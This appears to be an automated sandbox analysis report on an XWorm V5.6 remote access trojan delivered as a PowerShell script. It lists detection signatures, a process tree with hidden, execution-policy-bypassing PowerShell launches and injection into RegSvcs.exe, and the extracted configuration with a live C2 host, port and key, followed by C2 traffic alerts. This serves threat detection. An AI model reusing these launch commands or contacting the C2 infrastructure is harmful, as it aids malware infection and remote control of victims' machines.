Edit tour

Windows Analysis Report
LUYYSwStKN.ps1

Overview

General Information

Sample name:	LUYYSwStKN.ps1 renamed because original name is a hash value
Original sample name:	046ef795e6a9e68203ad07963b6a828d5aff2f55ec57bb8c0ebd778ae594d1c4.ps1
Analysis ID:	1517142
MD5:	7e553f6792b09e28363c15010aab9c06
SHA1:	84fb99b35b92f9bf8f1468db6be571ad4c7164bd
SHA256:	046ef795e6a9e68203ad07963b6a828d5aff2f55ec57bb8c0ebd778ae594d1c4
Tags:	ps1vecotr-viewdns-netuser-JAMESWT_MHT
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XWorm

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7432 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7720 cmdline: C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7776 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7820 cmdline: cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7836 cmdline: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

RegSvcs.exe (PID: 1112 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["vecotr.viewdns.net"], "Port": "50000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6aa8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6b45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6c5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x691a:$cnc4: POST / HTTP/1.1
0000000B.00000002.3868513529.0000000002771000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: RegSvcs.exe PID: 1112	JoeSecurity_XWorm	Yara detected XWorm	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6ca8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6b1a:$cnc4: POST / HTTP/1.1

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7432, TargetFilename: C:\ProgramData\Music\Visuals\VsEnhance.bat

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1" , CommandLine: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1" , CommandLine|base64offset|contains: >^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7820, ParentProcessName: cmd.exe, ProcessCommandLine: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1" , ProcessId: 7836, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs" , ProcessId: 7720, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1", ProcessId: 7432, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7432, TargetFilename: C:\ProgramData\Music\Visuals\VsLabs.vbs

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs" , ProcessId: 7720, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1", ProcessId: 7432, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7432, TargetFilename: C:\ProgramData\Music\Visuals\VsLabsData.ps1

Suricata Signatures

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T19:25:13.791487+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:24.748235+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:32.877958+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:35.698559+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:46.648279+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:57.608120+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:02.903691+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:08.555372+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:12.931936+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:16.023117+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:16.340092+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:16.652649+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:17.382669+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:21.725945+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:21.820231+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:21.914188+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:25.507814+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:27.195134+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.059013+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.104163+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.123572+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:37.851584+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:42.946290+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:48.233757+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:48.381584+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:53.774369+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:53.873439+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:53.967825+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:58.946650+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:02.570295+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:02.896185+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:09.230985+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:09.405766+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:14.570796+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:20.536912+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:21.375677+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:26.491944+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:26.793587+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:27.384312+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:31.000920+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:31.978866+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.294184+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.508165+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.601913+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.889033+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:37.695102+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:47.914126+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:48.008792+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:48.103507+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:53.460993+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:53.555306+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:02.917743+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:04.504619+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:09.220237+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:20.190811+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:26.117597+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:26.961830+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:32.943531+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:33.102594+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:33.726433+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:40.508134+0200	2852870	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T19:25:13.918341+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:24.749845+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:35.700131+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:46.650252+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:57.610207+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:08.556783+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:12.934483+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:16.024588+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:16.341786+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:16.656862+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:17.384378+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:21.728007+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:21.821903+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:21.915468+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:25.514615+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:27.196748+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:33.063429+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:37.853316+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:42.951206+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:48.235684+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:48.387411+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:53.780934+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:53.875508+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:53.969418+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:58.948487+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:02.572088+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:09.273733+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:09.407178+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:14.590483+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:20.575789+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:21.377498+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:26.496662+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:26.795173+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:27.393845+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:31.002452+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:31.980563+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.295749+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.415590+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.509450+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.609303+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:37.697128+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:47.916305+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:48.010326+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:48.105240+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:53.462880+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:53.557408+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:04.513037+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:09.222074+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:20.193394+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:26.119013+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:26.984322+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:33.747633+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:40.509105+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T19:25:32.877958+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:02.903691+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.104163+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.123572+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:02.896185+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.889033+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:02.917743+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:32.943531+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:33.102594+0200	2852874	1	Malware Command and Control Activity Detected	191.96.207.180	50000	192.168.2.8	49709	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T19:26:32.647413+0200	2853193	1	Malware Command and Control Activity Detected	192.168.2.8	49709	191.96.207.180	50000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000B.00000002.3868513529.0000000002771000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["vecotr.viewdns.net"], "Port": "50000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for submitted file

Source: LUYYSwStKN.ps1

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 11.2.RegSvcs.exe.400000.0.unpack	String decryptor: vecotr.viewdns.net
Source: 11.2.RegSvcs.exe.400000.0.unpack	String decryptor: 50000
Source: 11.2.RegSvcs.exe.400000.0.unpack	String decryptor: <123456789>
